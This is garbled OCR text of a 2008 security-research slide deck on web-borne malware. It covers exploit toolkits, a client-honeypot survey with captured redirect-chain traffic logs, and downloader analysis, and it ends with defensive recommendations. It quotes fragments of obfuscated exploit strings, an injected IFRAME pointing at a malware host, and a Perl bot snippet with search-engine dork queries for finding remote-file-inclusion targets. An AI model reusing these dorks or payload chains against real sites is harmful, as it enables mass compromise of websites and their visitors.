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Malware Trends in 2007

End of mass worm infections and large—scale incidents
Personal firewalls have been deployed in whole environments

“Secure by default”, Windows XP SP2 and Vista

A few “Remote Root Exploit” over the past year

Malware adapted to Web 2.0

Attack vector is shifting to Web
Malicious scripts injected into Blogs, SNS, and general sites in search

results

Multiple diversionary methods
To make users much unaware of infection

e To delay malware analysis
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Adapted to Web 2.0

B Tons of malware are targeting “Web surfers” now
e Web exploit toolkits are sold in underground economy

e Overwrite websites seems harmless and falsify
e.g. Inject IFRAME HTML tag is not easy to find

« Malware exploits web browser’ s vulnerability

E Web application vulnerabilities were exploited to setup
IFRAME—ed sites

e Uses exclusive bots, can execute large—scale attack

e Target sites are automatically selected by using the search
engines
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Web Exploit Toolkit

Attacked hosts: (total/uniq)

SeFRes

Traffic: (total/uniq)

Eiy: | |

IéE'TEL'l:| |
= Examples:
= - In June, 2007, an malicious script is
T injected more than 3000 web sites in Italy
- - In October, 2007, an malicious script is
P2 injected more than 40,000 pages of Web
= sites of 150 domains in Turkey

[ Malware infection source moved to Web J—
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B 27 files of PHP code, image file, data file

E Exploits 9 vulnerabilities of Web Browser components,
and resolves OS (and SP) dependency

B Web interface which displays statistical information based on
the IP address of the Infected Clients

e By using Commercial IP Database

B Uses the Obfuscation methods
e (WebVi'+'ewFol+'de'+'rlc’+ on.WebVi+ewFol'+'derl'+'con.1’) MS06-057
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IcePack

B Zero Day Exploit (at that time)
B Exploited ActiveX Control’ s vulnerability Mainly

E Cheap Edition of Mpack?

/ferror_report ing(0);

fset_time_limit(0);

Bini_set { max_execut ion_time’,0);

header( "Expires: Mon, 26 Jul 1997 05:00:00 GMT™);
header("Last-Modified: 7 . endate(™D, d MY Hii:s™) . 7 GMT7);
header("Cache-Control: no-cache, must-revalidate™);
header("Pragma: no-cache”);
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Why Malware comes from Web?

B On Windows XP SP2, Personal firewall is enabled by
default

B Therefore, the threats of the malware infecting
through ‘Remote Root  vulnerabilities were
diminished

E On the other hand, several options are still provided
to attackers who wish to spread malware by using
‘Mash-Up’ Web technologies
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Revealing the Web—based Malware

B A Part of Research Project in CyberCleanCenter
« http://www. ccc. go. jp

B We surveyed malware hosting sites by
developing crawler—based client honeypot,
“HoneyWhales”

E About 100,000 URLs were crawled for 2 weeks,

8500 URLs were hosting Malware
e URLs were blacklisted by the Anti-Malware Organization

B 27,755 files, 1,921 species were captured
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Captured Malware specimen 1

® Ratio of total

3214 TROJ

0.33

= TSPY
= ORM
5025
®BKDR
PE

HPossible

o2 UNKNOWN
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Captured Malware specimen 2

B species of ratio (identificated by SHA-1)

1754
TROJ
TSPY
1010 .WORM
®BKDR
1.20 -
1.30 PE
036 Possible
6897 ng UNKNOWN
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About HoneyWhales

E Client Honeypot

e High Interaction (Used a real client program)
e OS: Windows XP SP1, Web Browser: IE6

e Just opens blacklisted URL with the browser

e Detection of downloaded and executed files

e Behavior logging

o CreateProcess, Create/CloseFile

e Logging traffic log by proxy
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Structure of HoneyWhales

http-request

<

Browser Tracer TracelLog

http-response Driver e
1 request get
tcpdump URL_List TracelLog
Controller
sensor
container [ program ] file J

________________________________________________________
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Traffic log 1 — External JavaScript

<html s lns="Rtte: AAwm . wd . ore/ 19995 tml ™ sl lang="it" lang="it™>
<head>

<titledcalendario melita del gfi</title>
<META MNAME="Kewvwords™ CONTENT="calendario melita del £f7,{WD217>
<meta http-eauiv="Content-Tvpe” content="text/html; charset=150-8854-1" >
{meta http-equiveContent -Language” content="it" >
<meta name="robots” content="index, follow™ >
<meta name="description” content="calendario melita del 2f7 fward Winning CoffeeMelittas Coffees
rare LGourmet.The Froof is in the Taste. melita del gf7The Official Melitta Coffes MakerSave Monev by Buving D
rirect Tip: Search for English results only. You can specify wour search lansguage in Preferencesbdricom Telek
domunikacije 1 Pogledajte temu - orde...” >
<meta name= MSSmart TagsPreventParsing” content="true” />

<meta name="gzenerator” contenjg kit aa e e N EEEEEEEE

{script language="JavaScrip® src="http:/Arefferal.infofredir. is % script>
¢style types"text/css™>  «SEEEEEEEEENEEEEEEEEEEEN

PE

Elogger Template Stvle

Mame: Founders

Desizgrner: Douglas Bowman

LIRL : v . st opdes | 2n. com

Date: 27 Feb 2004

hﬂl‘"l»{ 2l |r'1r‘{ : ﬂﬂhﬂ :

=
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Traffic log 2 — window.location object

GET Aredir.is HTTPA1.1

Keep-&1iver 300

Cornect ion: Keep-41ive

Yia:r 1.0 w=ensorl (HTTP: :Prosxw/0.20)

bocept: #/%

Aocept -Language: en-us

Host: refferal.info

Referer: http://calendariome! itadelef? . martonioitsek] . info/
Uzer-Azent: Mozillasd.0 (compatible; MSIE 6.0; Windows NT 5.1)
H-Forwarded-For: 192.1688.200.128

HTTPAT.1 200 Ok

Date: Sat, 15 Sep 2007 18:08:29 GMT

Server: fApache/1.3.34 (Unix) mod_s=s1/2.8.25 Open3SL/0.9.7e PHP/5.1.2 FrontPagze/5.0.2.2510
Last-Modified: Tue, 16 Jan 2007 01:03:16 GMT

FTag: "of4460-d3-45ac?4q4”

bocept -Ranges: byvtes

Cortent -Length: 211

Keep-Al ive: timeout=h, max=h00

Cornect ion: Keep-&1ive

Cortent-Twpe: application/x-javascript

m-------------------------

indow. locat ion=("htte: //sutds. infodin. cgi?defaul tiseoref = "+encodel R I Compornent (document . referrerl+ “&
<IN AN EEN ENE ENS BN NN BES DS R N D RSN N B B NI N N e e
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Traffic log 3 — Meta tag

GET #in.cgi?defaultdseoref =bparameter=tkevwordise=$=ebur=18HTTP_REFERER=ht tp¥3A%2F%2Fcalendar iome | itac
smartonioitsek]. infod2Fédefault kewvword=viagra HTTPA1.1

Keep-&1ive: 300

Cornect ion: Keep-&|ive

Via: 1.0 w=ensorl (HTTP: :Prows/0.20)

bocept: imagedgit, imagedx-xbitmap. imagedipeg, imagedpipeg, */%

focept -Language: en-us

Host: sutds. info

User-bzent: Mozillasd.0 (compatible; MSIE 6.0: Windows NT 5.1)
H-Forwarded-For: 192.168.200.128

HTTPA1.1 302 Found

Oate: Sat, 15 Sep 2007 18:08:29 CMT

Server: Apache/1.3.34 (Unix) mod_==1/2.8.2% OpenSSLA0.9.7e PHP/%.1.2 FrontPage/5.0.2.2510
Set-Cookie: SL_default 0000=_7 ; domain=sutds. info; path=/; expires=Sun, 16-3ep-2007 18:09:29 CGMT
Locat ion: htte:/Awaw. back| ine.org/ 1/ index.htm

Keep-Alive: timeout=h, max=H00

Connect ion: Keep-&live

Transter-Encoding: chunked

Content -Tvpe: text himl

ch
<html >

<meta http-equiv="REFRESH™ contert="T1; URL="http: dwww. back|ire.org/ 1/ index. btm® ">

<hodh

=
~
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Traffic log 4 — IFRAME

GET A1/ index.htm HTTPA1.1

Keep-&1ive: 300

Connect ion: Keep-&live

Yia: 1.0 wsensorl (HTTP: :Proxw/0.20]

becept: imagedzit, imagedx-xbitmap, imagedipez, imazepipeg, *7%
Accept -Language: en-us

Host: waw.back|ine.org

User-Azent: Mozilla 4.0 (compatible; MSIE B.0; Windows MT 5.1)
H-Forwarded-For: 192.165.200.128

HTTFA1.1 200 OK

Date: Sat, 15 Sep 2007 18:08:30 GMT

Server: Apache/1.3.34 (Unix) mod_==1/2.8.2% OpenSSL70.9.7e PHP/S.1.2 FrontPage/5.0.2.2510
Last-Modified: Mon, 03 Sep 2007 16:44:13 GMT

ETaz: "6449:2-37e-46dc39447

becept -Ranges: bytes

Content-Length: 748

Keep-&1ive: timeout=h, max=h00

Connect ion: Keep-&|ive

Content -Tvpe: text himl

<html>
<head>

<meta http-equiv="Content-Twpe” content="text/html; charset=windows-12517>
<Hitler<dAtitler
</head>

<b@i‘k7?:ame src= http: fﬁpromosoft?d comfln php9q chtZWw%SD W|dth 10 border 0 helght 10 =twl

Il
1
4|: y
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Traffic log 5 — Location Header = _ -

GET /in.php?g=cm3t Mwisl HTTPAT.1

Keep-Alive: 300

Cornect ion: Keep-4live

Yia: 1.0 wsensorl (HTTP: :Prosw/T.20)

bocept: imagedgif, imazex-xbitmap, imazeipeg, image/pipeg, */%
focept -Language: en-us

Host: promoscoftZd.com

Feferer: http://waw.back| ine.org/1/ index. htm

User-Azent: Mozillad.0 (compatible; MSIE 6.0; Windows NT 5.1)
W-Forwarded-For: 192.1685.200.123

HTTFPA1.1 302 Found
Date: Sat, 15 Sep 2007 16:00:07 GMT
Server: Apache/?.0.46 (Red Hat)
bocept -Ranges: bytes
#-Powered-Byw: PHPA4.3.2
e (ol s i Sl i i ) | R e i e’ S " (s (Gl e e e Y
Locat ion: http://promosoft?4. comd/setup/ecdi?t 733800898004 c0ebbt Booi? 14/

mﬁﬁﬂﬁerﬁ-gt?[r------------------

Cornect ion: close
Cortent -Twpe: text/hitml
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Traffic log 6 — Encoded JavaScript

GET Asetupdecdazf 73380098e0hadc0e86f06cci214/ HTTRAT .1

Keep-4l ive: 300

Corinect ion: Keep-41ive

Yia: 1.0 wsensorl (HTTP: :Proxe/0.20)

bocept: imazedzif, imagedx-xbitmap, imazeipeg, imagepipes, *7%
Aocept -Language: en-us

Host: promosoft?4. com

Referer: http:/fwa. backline.org/1/ index. htm

User-baent: Mozillasd.0 (compatible; MSIE B.0; Windows NT 5.1)
d#-Forwarded-For: 192.168.200.128

HTTRA1.1 200 Ok

Date: Zat, 15 Sep 2007 16:00:08 GMT

Server: fpache/?.0.46 (Red Hat)
Last-Modified: Thu, 30 Aug 2007 19:10:16 GMT
ETag: "37fh6168-bab-74cfha00"

bocept -Ranges: bytes

Cortent-Length: 2982

Cornect ion: close

Content-Twpe: text/html

<zcript lanzuage="JavaScript” twvpe="text/JavaScript™>
<1--

MHTZE“---------------------

‘E(”Q&(*%UWﬁN|yiWCBQm@l}5Zd\Uk3V1Rfe#{1ZBSShJSWrbH+rddyV{_HHUCbJKL1WHQ%SGS#del@yv935&TS5L54jm’(.:;RBSF
I>\t\f\:’QGTbshqq%?¥rl%’nglo\snbfqhw)\usIdj\>thfumvhgq’Liu\qmbul@{solu\q%lﬂo\i¥r%#’ng%JmTuwHkbujdbwl
Shwelai JIPTI237 % 871 85mf i¥r¥r ! 13 An | INcoXD ™ | ¥ riffi Ehl Laidlunf¥r ! LR rtt " obu lnck "WGPT8 " al wnf iusbs
I>|dk5)’hgibbu,*¥r##,lﬂCkASﬂP‘tdQBSUShCTU\#%|Sl+%%ﬂCkZQGT#¥rl%,%|ekZ@GTKVfWBSQQJEDS\#%bmdtr|c,+l,diDjSE
>BA43x7404 (2263, 1 4RCTRDTRGFT>@4 T r LI ¥ r LU D ks gl off: Wanbhdrachet fripcvdal rvmbakpdeeni rorifgorn oehi
I>aJD\nge\DafD’¥r¥r#’%’gk’g#%vzteikfd}f%¥rl%##Hco¥¥Mbnf#:%lT#l#"0’#[%%d#l#’#il’#”k’#’!!¥r%’llNngSql
SRDURIE ST U AR L TRl s |2 L b B el | rdu nemdPlb i oBsst>#  am " WGT/Bs bwfHe ibfs-La i ¥¥hf |
I>#+%%%’Jek28q|\)%’*¥r’l%#T\slnGnme\q’B#hcthmfkinqudj\Pw\bd—51,¥r###’R\S%|Ehme\qub|<nC|ocdw)Q\5vat
P  ghmduug” #¥ 0 LB Ak ¥ldwle B | rnmnkboat 8Pwina/nG i kabsHudh) Uf ale/BY%E) . 2/72%¥ riitt " Yhk G u<#E L iu U uiZDnlar
/L B LR U Grkw¥¥ST0i 20 | ankboue/d . 55870 e U lempPheBhs U Lo ¥ e 30 2% e LR HCk " 0d i "<l 12173 1ds"s

SW-IIll Il Il I D D D D D B S . N N N N N §F B B B
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Traffic log 7 — Downloaded Malware

GET Yadw files/379/ instal |, exe?ady=379 HITPAT.

Feep-Al iver 300

Connection: Keep-41ive

Yia: 1.0 wsensorl [HTTP::Prowy/0.20)

bocept: #7%

becept -Language: en-us

Host: ulefoveda.net

Referer: http://ulefoveda.net/in. phptady=379

User-Agent: Mozilla/d.0 (compatible; MSIE 6.0; Windows NT 5.1)
¥-Forwarded-For: 192.7168.200.128

HTTF/1.1 200 0k

Date: Sat, 1% 3ep 2007 19:09:56 CGMT

Server: bpache/?.2.3 (Fedora)

Last-Modified: Mon, 03 Sep 2007 16:42:48 GMT
ETag: "98518-eal0-dedb?200™

hocept -Ranzes: byvtes

Contert -Length: 53904

Connection: close

Contert-Type: applicat ionfoctet-st ream
R R R R R R R R R OFORORORR OROR R COR ORFRCOR ...

Moo W...... B O PE L G
e NI 1
| SRR P SN

e e e et e e et et ettt a e

OO I
I v o ko Paas s Ok ol icz HO B0 usall e OfH.n. .25, e LLHEYI LR 7 e I
[ e BB E, = ....3...53.3.0R......... P s B LTRSS

> hE h- 8. orne 2o 0 LT LR LR X I
T R AP ST 1N T L NADS P P 9220 L)
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Outline of the Attack Using Web
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Analysis of the Malware specimen

B Static Analysis

e Used top 10 species
e 2 Fake Security Software, 2 Spyware, 6 Downloader,

r
i“. Your computer is infected! E

\Windows has detected spyware infection!

It is recommended to use special antispyware tools to prevent
data loss, Windows will nowdownload and install the miosk

up-to-date antispyware For wou,

Click here to protect vour computer From spyware!

- | i
E What is downloader “

o Malware specialized in Downloading another One from a specific host

m Downloading from a specific site or multiple sites

e What is the file to download?

m According to the traffic log,

there are many cases of a downloader

21 Copyright ©2008 Little eArth Corporation Co.,Ltd.
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Why downloader?

B DreamDownloader

o Attached to the Mpack

o Generate downloader by just One—Click
W D03 Builder

http:ff172.29.30.1

o Ne

™ Use packer |Upan:k %% -cl] j

Yersion info:
Build 179 dated 20/05/07

LISER: Paly icq 164166

ér'-ﬂake Downloader..., |

[ Malware Creation Environment by Button Operation is spreading now 1

22 Copyright ©2008 Little eArth Corporation Co.,Ltd.
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Detection rate of AntiVirus

Source: Koyama, “Next generation information security policy society“, MIC, Japan

Research period E:Ef:im Collggtlé?te{i Samp:(?nd ratio(%) | Explanation
Known 28,309 767 21
UL Unknown 3,537 2,938 79
Apr.1to May 21 [ -o1aL 31,846 3705
2007 Known 240,255 10,026 94| 4 arasticall
improved drastica
Sep 1 to Seb.30 Unknown 9,984 639 6 bypgeneric detectiox
°b-1T0 =P | ToTaL 546.239]  10.665
2007 En:wn cannot detect the
nknown Web-based malware
Sep.7 to Sep. 21 —— enough

Malware infection source has moved to Web

=
~
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Summary of the Malware hosting—sites

E Web Exploit Toolkit diffuse Malware is
iIn Underground Market

B Most of Malware infect through Web are
UNKNOWN

e Downloading specimens from many redirected web page

e Using a downloader in multistage and finally infect BOT

E Downloader is used for diversion And
Semiautomatic Downloader—Generator is sold

- —
~
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Reason of infection through “General Slte

B Enhancement of the security technologies and theories
o Pervasive of “DONT browse suspicious websites”
e Countermeasures at the Search Engine Companies

e Security technologies based on blacklists

\V/
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Web Application Attack Bot 1

E Used multiple search engines and find infectable sites

Je
my $mozbot=("http:/ waw.mozbot . fr/search?g=" key($key). "hst=inthpage=".3i);
my $Res=query($mozbot); I )
whilel($Res =7 m/<a href=y” Yhttp ¥4/ +1¥ target/g)] L
my $k=§1; L
$k="s/ /lg; L
my @grep=links($k); 4
?ush(@lst Jdgrep): L

dl

f ($Res =7 /Cliquez ici pour effectuer/)!

{return @lst;}l

14
return @lst; L

} 4
J

Sample Queries

lscan forum.php?act= inurl: forum phptact="1

lscan home.php?action= inurl: home.phpfaction="1

lscan home.php?pagina= inurl: home php?pagina=" L

lscan noticias.php?arq= |nur| not|0|as pho%arg="1

lscan ma|n php?x= inurl:’ ma|n phpqx— i

lscan main.php?page= inurl:” ma|n phpfpage="1

Iscan default.php?page= inur]: “default. phprage- 1

lscan index.phptcont= inurl:’ |ndex phpocont—

lscan index .php?confighile= |nur| " index. phpooonf|gF||e—"¢
lscan index.php®meio.php= inurl:" index.php?meio. php— 1
lscan index.php?include= |nur| “index.php?include="1

lscan index.php%open= inurl: |ndex phpoopen L

Iscan index.php?visualizar= inurl ;" |ndex php?visualizar="1
lscan index.php®x= inurl:” index.php?x="1

!Soan index.phpopag— |nur| ’|ndex phpopag— 1

Little eArth Corporation 27 Copyright ©2008 Little eArth Corporation Co.,Ltd.
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Web Application Attack Bot 2

Vulnerable Web application

Search Engine  (€.g. Having RFI vulnerability)

S~
=
N 3 -
~ S N
- x
2. Transmit URI referring
! malware-hosting site
BOT to vulnerable site 9
(example.com)
other infected or malicious site
1. Find vulnerable sites
Index.php?ConfigFile=
by search query http://lexample.com/malware.php

\\
X

Little eArth Corporation
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Web Application Attack Bot 3

Vulnerable Web application
(e.g. Having RFI vulnerability)

Search Engine

S
S
3. referring BOT
(Infection act ) malware-hosting site
(example.com)
other infected or malicious site

X

Little eArth Corporation
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Web Application Attack Bot 4

malware-hosting site

(example.com)
other infected or malicious site

Vulnerable Web application
(e.g. Having RFI vulnerability)

Search Engine @

S
< S
x
‘.:0.. “
0..... 0;
L
‘e, 5. Browse the search result,
OQA
_ _ _ accidentally Infected
4. Find general sites with i
search engine ~
',’.. "“
47".’ 15‘
. q

x

general user

Copyright ©2008 Little eArth Corporation Co.,Ltd.
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uonoeap

WebCommandInjection Attack 2007.10

uonoejep

WebCommandInjection Attack  2007.11

Little eArth Corporation
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Credit card numbers
Online game accounts ﬁ“
Web service accounts

Malware writers Owner

NS

RMT Traders launder money

Criminal
Networks

abuse

Copyright ©2008 Little eArth Corporation Co.,Ltd.
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E “Trap sites” are built by the Web exploit
toolkits

e Both vulnerabilities in server and client are abused

E Recent malware infects stealthy

E Web—based malware could evade from
AntiVirus software’s detection

Z=%<=_= Little eArth Corporation 33 Copyright ©2008 Little eArth Corporation Co.,Ltd.



Solutions

E DON’ T make Malware—hosting site

e Hardening
e Find vulnerabilities and fix it

o Attack detection

E End—point security
e Web Browser and Add—ons should be updated

e Applications can be launched from browsers too
e Use of Browser plug—ins for enhancement of security

E Construction of CSIRT

e Organization which can Train and Research

Copyright ©2008 Little eArth Corporation Co.,Ltd.

34

=_—-=E—_—' Little eArth Corporation



=
~

Little eArth Corporation

35

Copyright ©2008 Little eArth Corporation Co.,Ltd.




<<
  /ASCII85EncodePages false
  /AllowTransparency false
  /AutoPositionEPSFiles true
  /AutoRotatePages /All
  /Binding /Left
  /CalGrayProfile (Dot Gain 20%)
  /CalRGBProfile (sRGB IEC61966-2.1)
  /CalCMYKProfile (U.S. Web Coated \050SWOP\051 v2)
  /sRGBProfile (sRGB IEC61966-2.1)
  /CannotEmbedFontPolicy /Warning
  /CompatibilityLevel 1.4
  /CompressObjects /Tags
  /CompressPages true
  /ConvertImagesToIndexed true
  /PassThroughJPEGImages true
  /CreateJDFFile false
  /CreateJobTicket false
  /DefaultRenderingIntent /Default
  /DetectBlends true
  /DetectCurves 0.0000
  /ColorConversionStrategy /LeaveColorUnchanged
  /DoThumbnails false
  /EmbedAllFonts true
  /EmbedOpenType false
  /ParseICCProfilesInComments true
  /EmbedJobOptions true
  /DSCReportingLevel 0
  /EmitDSCWarnings false
  /EndPage -1
  /ImageMemory 1048576
  /LockDistillerParams false
  /MaxSubsetPct 100
  /Optimize true
  /OPM 1
  /ParseDSCComments true
  /ParseDSCCommentsForDocInfo true
  /PreserveCopyPage true
  /PreserveDICMYKValues true
  /PreserveEPSInfo true
  /PreserveFlatness true
  /PreserveHalftoneInfo false
  /PreserveOPIComments false
  /PreserveOverprintSettings true
  /StartPage 1
  /SubsetFonts true
  /TransferFunctionInfo /Apply
  /UCRandBGInfo /Preserve
  /UsePrologue false
  /ColorSettingsFile ()
  /AlwaysEmbed [ true
  ]
  /NeverEmbed [ true
  ]
  /AntiAliasColorImages false
  /CropColorImages true
  /ColorImageMinResolution 300
  /ColorImageMinResolutionPolicy /OK
  /DownsampleColorImages true
  /ColorImageDownsampleType /Bicubic
  /ColorImageResolution 300
  /ColorImageDepth -1
  /ColorImageMinDownsampleDepth 1
  /ColorImageDownsampleThreshold 1.50000
  /EncodeColorImages true
  /ColorImageFilter /DCTEncode
  /AutoFilterColorImages true
  /ColorImageAutoFilterStrategy /JPEG
  /ColorACSImageDict <<
    /QFactor 0.15
    /HSamples [1 1 1 1] /VSamples [1 1 1 1]
  >>
  /ColorImageDict <<
    /QFactor 0.15
    /HSamples [1 1 1 1] /VSamples [1 1 1 1]
  >>
  /JPEG2000ColorACSImageDict <<
    /TileWidth 256
    /TileHeight 256
    /Quality 30
  >>
  /JPEG2000ColorImageDict <<
    /TileWidth 256
    /TileHeight 256
    /Quality 30
  >>
  /AntiAliasGrayImages false
  /CropGrayImages true
  /GrayImageMinResolution 300
  /GrayImageMinResolutionPolicy /OK
  /DownsampleGrayImages true
  /GrayImageDownsampleType /Bicubic
  /GrayImageResolution 300
  /GrayImageDepth -1
  /GrayImageMinDownsampleDepth 2
  /GrayImageDownsampleThreshold 1.50000
  /EncodeGrayImages true
  /GrayImageFilter /DCTEncode
  /AutoFilterGrayImages true
  /GrayImageAutoFilterStrategy /JPEG
  /GrayACSImageDict <<
    /QFactor 0.15
    /HSamples [1 1 1 1] /VSamples [1 1 1 1]
  >>
  /GrayImageDict <<
    /QFactor 0.15
    /HSamples [1 1 1 1] /VSamples [1 1 1 1]
  >>
  /JPEG2000GrayACSImageDict <<
    /TileWidth 256
    /TileHeight 256
    /Quality 30
  >>
  /JPEG2000GrayImageDict <<
    /TileWidth 256
    /TileHeight 256
    /Quality 30
  >>
  /AntiAliasMonoImages false
  /CropMonoImages true
  /MonoImageMinResolution 1200
  /MonoImageMinResolutionPolicy /OK
  /DownsampleMonoImages true
  /MonoImageDownsampleType /Bicubic
  /MonoImageResolution 1200
  /MonoImageDepth -1
  /MonoImageDownsampleThreshold 1.50000
  /EncodeMonoImages true
  /MonoImageFilter /CCITTFaxEncode
  /MonoImageDict <<
    /K -1
  >>
  /AllowPSXObjects false
  /CheckCompliance [
    /None
  ]
  /PDFX1aCheck false
  /PDFX3Check false
  /PDFXCompliantPDFOnly false
  /PDFXNoTrimBoxError true
  /PDFXTrimBoxToMediaBoxOffset [
    0.00000
    0.00000
    0.00000
    0.00000
  ]
  /PDFXSetBleedBoxToMediaBox true
  /PDFXBleedBoxToTrimBoxOffset [
    0.00000
    0.00000
    0.00000
    0.00000
  ]
  /PDFXOutputIntentProfile ()
  /PDFXOutputConditionIdentifier ()
  /PDFXOutputCondition ()
  /PDFXRegistryName ()
  /PDFXTrapped /False

  /Description <<
    /CHS <FEFF4f7f75288fd94e9b8bbe5b9a521b5efa7684002000500044004600206587686353ef901a8fc7684c976262535370673a548c002000700072006f006f00660065007200208fdb884c9ad88d2891cf62535370300260a853ef4ee54f7f75280020004100630072006f0062006100740020548c002000410064006f00620065002000520065006100640065007200200035002e003000204ee553ca66f49ad87248672c676562535f00521b5efa768400200050004400460020658768633002>
    /CHT <FEFF4f7f752890194e9b8a2d7f6e5efa7acb7684002000410064006f006200650020005000440046002065874ef653ef5728684c9762537088686a5f548c002000700072006f006f00660065007200204e0a73725f979ad854c18cea7684521753706548679c300260a853ef4ee54f7f75280020004100630072006f0062006100740020548c002000410064006f00620065002000520065006100640065007200200035002e003000204ee553ca66f49ad87248672c4f86958b555f5df25efa7acb76840020005000440046002065874ef63002>
    /DAN <>
    /DEU <>
    /ESP <>
    /FRA <>
    /ITA <>
    /JPN <>
    /KOR <FEFFc7740020c124c815c7440020c0acc6a9d558c5ec0020b370c2a4d06cd0d10020d504b9b0d1300020bc0f0020ad50c815ae30c5d0c11c0020ace0d488c9c8b85c0020c778c1c4d560002000410064006f0062006500200050004400460020bb38c11cb97c0020c791c131d569b2c8b2e4002e0020c774b807ac8c0020c791c131b41c00200050004400460020bb38c11cb2940020004100630072006f0062006100740020bc0f002000410064006f00620065002000520065006100640065007200200035002e00300020c774c0c1c5d0c11c0020c5f40020c2180020c788c2b5b2c8b2e4002e>
    /NLD (Gebruik deze instellingen om Adobe PDF-documenten te maken voor kwaliteitsafdrukken op desktopprinters en proofers. De gemaakte PDF-documenten kunnen worden geopend met Acrobat en Adobe Reader 5.0 en hoger.)
    /NOR <>
    /PTB <>
    /SUO <>
    /SVE <>
    /ENU (Use these settings to create Adobe PDF documents for quality printing on desktop printers and proofers.  Created PDF documents can be opened with Acrobat and Adobe Reader 5.0 and later.)
  >>
  /Namespace [
    (Adobe)
    (Common)
    (1.0)
  ]
  /OtherNamespaces [
    <<
      /AsReaderSpreads false
      /CropImagesToFrames true
      /ErrorControl /WarnAndContinue
      /FlattenerIgnoreSpreadOverrides false
      /IncludeGuidesGrids false
      /IncludeNonPrinting false
      /IncludeSlug false
      /Namespace [
        (Adobe)
        (InDesign)
        (4.0)
      ]
      /OmitPlacedBitmaps false
      /OmitPlacedEPS false
      /OmitPlacedPDF false
      /SimulateOverprint /Legacy
    >>
    <<
      /AddBleedMarks false
      /AddColorBars false
      /AddCropMarks false
      /AddPageInfo false
      /AddRegMarks false
      /ConvertColors /NoConversion
      /DestinationProfileName ()
      /DestinationProfileSelector /NA
      /Downsample16BitImages true
      /FlattenerPreset <<
        /PresetSelector /MediumResolution
      >>
      /FormElements false
      /GenerateStructure true
      /IncludeBookmarks false
      /IncludeHyperlinks false
      /IncludeInteractive false
      /IncludeLayers false
      /IncludeProfiles true
      /MultimediaHandling /UseObjectSettings
      /Namespace [
        (Adobe)
        (CreativeSuite)
        (2.0)
      ]
      /PDFXOutputIntentProfileSelector /NA
      /PreserveEditing true
      /UntaggedCMYKHandling /LeaveUntagged
      /UntaggedRGBHandling /LeaveUntagged
      /UseDocumentBleed false
    >>
  ]
>> setdistillerparams
<<
  /HWResolution [2400 2400]
  /PageSize [612.000 792.000]
>> setpagedevice


